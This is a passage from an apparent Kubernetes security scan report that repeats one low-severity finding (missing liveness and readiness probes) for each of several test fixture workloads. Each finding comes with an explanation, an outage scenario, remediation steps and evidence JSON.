  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/rbac-fixtures/imp-app Workload 3.5
Container app in Deployment/rbac-fixtures/imp-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/rbac-fixtures/imp-app
Category: Defense Evasion Resource: Deployment/rbac-fixtures/imp-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/imp-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/imp-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/rbac-fixtures/wildcard-app Workload 3.5
Container app in Deployment/rbac-fixtures/wildcard-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/rbac-fixtures/wildcard-app
Category: Defense Evasion Resource: Deployment/rbac-fixtures/wildcard-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/wildcard-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/wildcard-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/statusspoof-fixtures/statusspoof-api Workload 3.5
Container app in Deployment/statusspoof-fixtures/statusspoof-api has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/statusspoof-fixtures/statusspoof-api
Category: Defense Evasion Resource: Deployment/statusspoof-fixtures/statusspoof-api Namespace: statusspoof-fixtures

Container app in Deployment/statusspoof-fixtures/statusspoof-api does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/statusspoof-api deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/vulnerable/generic-hostpath-app Workload 3.5
Container app in Deployment/vulnerable/generic-hostpath-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Defense Evasion Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Container app in Deployment/vulnerable/generic-hostpath-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/generic-hostpath-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/vulnerable/host-ns-app Workload 3.5
Container app in Deployment/vulnerable/host-ns-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Defense Evasion Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Container app in Deployment/vulnerable/host-ns-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/host-ns-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/vulnerable/risky-app Workload 3.5
Container app in Deployment/vulnerable/risky-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Defense Evasion Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/risky-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/vulnerable/root-runner Workload 3.5
Container app in Deployment/vulnerable/root-runner has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Defense Evasion Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Container app in Deployment/vulnerable/root-runner does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/root-runner deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/vulnerable/socket-mounts-app Workload 3.5
Container app in Deployment/vulnerable/socket-mounts-app has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Defense Evasion Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Container app in Deployment/vulnerable/socket-mounts-app does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/socket-mounts-app deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Pod/foothold-exec/foothold-decoy Workload 3.5
Container app in Pod/foothold-exec/foothold-decoy has neither a liveness nor a readiness probe
Scope · Workload Workload Pod/foothold-exec/foothold-decoy
Category: Defense Evasion Resource: Pod/foothold-exec/foothold-decoy Namespace: foothold-exec

Container app in Pod/foothold-exec/foothold-decoy does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
  1. A regression in the app deployed via Pod/foothold-decoy deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Pod/foothold-exec/foothold-target Workload 3.5
Container app in Pod/foothold-exec/foothold-target has neither a liveness nor a readiness probe
Scope · Workload Workload Pod/foothold-exec/foothold-target
Category: Defense Evasion Resource: Pod/foothold-exec/foothold-target Namespace: foothold-exec

Container app in Pod/foothold-exec/foothold-target does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
  1. A regression in the app deployed via Pod/foothold-target deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
